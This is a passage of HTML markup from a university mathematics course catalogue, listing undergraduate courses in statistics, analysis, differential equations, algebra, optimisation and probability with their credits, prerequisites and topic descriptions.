margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 240: Elementary Statistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Probability spaces, discrete and continuous random\r\nvariables and their distributions, expected value and Central Limit Theorem.\r\nSampling distributions, estimation of parameters and tests of hypothesis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 301: Calculus on Manifolds (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 204, MATH 237</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Multivariable Calculus. Differential mappings of real\r\nn-spaces, the inverse and implicit function theorems. Manifolds.\r\nTwo-dimensional manifolds. Differential forms, tensors and integration on\r\nmanifolds. The general Stoke’s theorem and its applications.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 302: Fourier Series and Integrals (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 204, MATH 205</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Trigonometric series and periodic functions. Fourier\r\nseries. Fourier sine and cosine series. Complex form of Fourier series. Theorem\r\nof Riemann. Dirichlet’s formulae, localization principle. Parseval’s equation\r\nfor the Fourier series. Summability of trigonometric series. Generalized\r\nFourier series. Fourier integral and Fourier transform. Complex form of Fourier\r\nintegral. Laplace`s integral. Fourier transform of derivatives.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 304: Integral Transforms (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 204 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Fourier transform. Laplace`s transform. Reverse\r\nLaplace`s transform. Hankel and Fourier-Bessel transforms.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 305: Measure and Integration (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 204</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">General topological spaces. The set of continuous\r\nfunctions on a compact metric space. Normal and Hilbert Spaces. Measure and\r\nmeasure space. Lebesgue Integral theory. Lebesgue integrable functions spaces,\r\ntheir completeness. Functions of bounded variation and absolutely continuous\r\nfunctions. Radon - Nikodym theorem.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 310: Applied Differential Equations (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Differential equations and special functions. Series\r\nsolutions. Differential equations of mathematical physics. Methods of\r\nseparation of variables. Green’s functions. Asymptotics, perturbation methods.\r\nLinear systems of differential equations. Phase portrait. Stability theory.\r\nApplication of differential equations for the solution of economics problems.\r\nTransportation. Efficiency of advertisement. Supply and demand. Differential models\r\nin ecology. Application of differential equations for the solution of military\r\nproblems.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 311: Partial Differential Equations (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 210</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Linear partial differential equations. Second order\r\ndifferential equations. Wave equation, heat equation and Laplace equation. The\r\nMethod of Separation of variables. Initial-boundary value problems with two or\r\nmore space - variables.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 312: Differential Equations of Mathematical\r\nPhysics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 311</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Wave equation. Equation of crossing vibrations.\r\nEquation of Helmholtz. Diffusion equation. The equation of conduction of heat.\r\nPoisson`s equation. Laplace equation. Stationary equations. The solution of\r\nCauchy`s problem for the equation of crossing vibrations using Dalamber`s\r\nmethod. Method of Separation of variables.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 320: Numerical Analysis (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 210</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Numerical modelling. Iterative methods for non-linear\r\nequations. Simple iteration by algebraic transformation. The bisection method.\r\nThe Newton-Raphson method. Interpolation. Finite differences and difference\r\noperators. Interpolation formulae involving forward and backward differences.\r\nDivided differences and Newton’s divided difference formula. Approximation of\r\nthe integrals. The Trapezium rule. Simpson’s rule.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 321: Numerical Solution of Differential Equations\r\n(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 312</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Difference equations. Solution of difference equations\r\nby iteration. Solution of difference equations by relaxation. Galerkin and\r\nRayleigh-Ritz procedures. Perturbation methods.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 330: Differential Geometry. Theory of Curves and\r\nSurfaces (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 132, MATH 104</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Curves and surfaces in Euclidean space. The problem of\r\ncurve’s theory, connected with curvature and twist notions. The basic notions\r\nfor surfaces connected with contact notion. First and second fundamental forms.\r\nThe main equations of surface’s theory. Inside geometry of surfaces.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 331: Algebra: Polynomials and Fields (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 238 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Ring of integers, fields, polynomial domains, unique\r\nfactorization, and field extension. Galois theory. Solvability by radicals.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 332: Linear Programming (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102, MATH 131</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Principles of linear programming, duality theorem,\r\nsimplex method. Applications to industrial and business problems. Sensitivity\r\nanalysis, integer programming, distribution and transportation algorithms.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 333: Mathematical Programming (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 332 or consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Convex sets. Liner programming . The Dual problem.\r\nOptimization of non-linear function. Replacement decisions. Game theory.\r\nStatistical quality control. Dynamic programming. Decision analysis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 334: Introduction to Operations Research (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 132, MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Linear programming: Simplex method, Duality. The\r\ntransportation problem. Forward and Backward computations. Deterministic\r\nmodels. Non-linear Programming. Kuhn-Tucker conditions. The constraint\r\nqualification. Concave programming. Game theory.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 335: Introduction to Mathematical Economics (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 222</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">The notion of mathematical modelling. Examples of\r\nmathematical models. Elements of linear programming. Leontiev Input-Output\r\nmodels. Problem of working regime of energy system. Ration problem.\r\nTransportation problem. Differential models in economics.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 340: Applied Statistical Analysis (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Sample space, events, probability. Conditional probability,\r\nBayes Theorem. Independence, independent trials. Combinatorial probability.\r\nDensities and distributions. Joint densities and independence. Expectation.\r\nAnalysis of variance. Estimation. Covariance and correlation. Linear\r\nregression.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 341: Theory of Probability (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Combinatorial Analysis. Axioms of Probability.\r\nConditional Probability and Independence Random Variables (Discrete and\r\ncontinuous). Jointly Distributed Random Variables. Expectation. Limits Theorems.\r\nElements of stochastic processes, Markov chains.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 342: Mathematical Statistics (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Samples, Histograms and Ogives, Exploratory Data\r\nAnalysis. Graphical Comparisons of Data Sets, Time Sequences and Digitots,\r\nLeast Squares, and Correlation. Random Variables of the Discrete type. The\r\nMean, Variance, and Standard Deviation. Random Variables of Continuous type.\r\nThe Central Limit Theorem. Distributions. Properties of Estimators, Confidence\r\nIntervals for Means, Variances and Proportions. The Correlation Coefficient,\r\nConditional Distributions.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 349: Applied Complex Analysis (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 102</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Introduction to basic formulas and calculation\r\nprocedures of complex analysis of one variable relevant to applications. Topics\r\nCauchy - Riemann equations. Cauchy’s Integral Formula. Power Series Expansion.\r\nResidue Calculus. Application to real analysis and the theory of harmonic\r\nfunctions. Applications to boundary-value problems.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 351: Introduction to Functional Analysis (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 237, MATH 305</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Normed spaces. Completeness. Examples of normed\r\nspaces, including the space of all continuous functions on a compact space. The\r\nspaces of Lebesgue integrable functions. Linear Bounded operators. Topological\r\nvector spaces. The Banach-Steinhaus theorem (the uniform boundedness\r\nprinciple). The open mapping theorem. The closed graph theorem. The Hahn-Banach\r\ntheorems. Weak convergence. Reflexive Banach spaces. Hilbert Space. Bilinear\r\nforms and operators in Hilbert space. Compact operators. Banach algebras.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 352: Linear Operators (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 351</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Banach and Hilbert Spaces. Review of fundamental\r\ntheorems of functional analysis and their consequences. Compact operators.\r\nLinear operators in Hilbert space. Basic properties of spectra. Fredholm\r\ntheory. Introduction to the theory of unbounded operators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 420: Boundary Value Problems (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 451, MATH 311</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Basic boundary value problems for second-order linear\r\ndifferential equations. Cauchy`s problem for parabolic and hyperbolic partial\r\ndifferential equations. Boundary - value problems for elliptic equations. The\r\nfirst - Dirichlet`s boundary value problem. The second Neumann`s boundary value\r\nproblem. The third boundary value problem. Initial - boundary value problem for\r\nhyperbolic and parabolic partial differential equations. Function Spaces.\r\nClassic and generalized solutions.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 430: Algebra: Theory of Groups, Rings and Fields\r\n(6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 132</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Vector spaces and Linear transformations. Groups.\r\nTheory of finite groups. Rings, ideals, and modules. Structure of Rings.\r\nFields, field extension, Galois theory.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 431: Tensor Products. Algebraic Theory (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 231</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Polylinear algebra. Tensor products. Tensor algebra of\r\nlinear space. Exterior algebra of linear space. Tensor product of operators and\r\nmatrices. Spectrum, tensor products and operator equations.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 432: The Theory of Finite-dimensional Groups (6\r\n<strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 132 and consent of the instructor</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Symmetry, geometrical symmetry. Geometry and the\r\nmeasurement of symmetry. Group operations. Simple finite groups. Classification\r\nof Simple finite groups. Group transformations. Representations of groups.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 438: Game Theory (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 332</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Mathematical models and determining of optimal\r\nsolution by conflict conditions. Formal definition of game. Set of strategies,\r\nset of situations, classification of games. General position game. Differential\r\ngame. Matrix game.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 440: Estimation Theory (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 342</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Some properties of Estimators. Some Common Unbiased\r\nPoint Estimators. Evaluating the Goodness of a Point Estimate. Confidence\r\nIntervals. A large-Confidence Interval. Selecting the Sample Size. Methods of\r\nestimations and properties of point estimators.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 441: Theory of Regression and Analysis of\r\nVariance (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 342</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Analysis of Variance. An Analysis of Variance Table\r\nfor a Completely Randomized Design. Estimation for the Completely Randomized\r\nDesign. The Analysis of Variance for a Randomized Block Design. Selecting the\r\nSample Size. Simple Linear Regressions. Non-linear regression. Multiple\r\nregression and correlation analysis.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>MATH 442: Hypothesis Testing (6 <strong>ECTS</strong>  credits)</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\"><strong>Prerequisite: MATH 342</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Elements of a statistical test. Common Large-Sample\r\nTests. Calculating Type II Error Probabilities and finding the Sample Size for\r\nthe Z test, Testing Hypotheses concerning Variances. Power of tests. Likelihood\r\nRatio Tests. Minima and 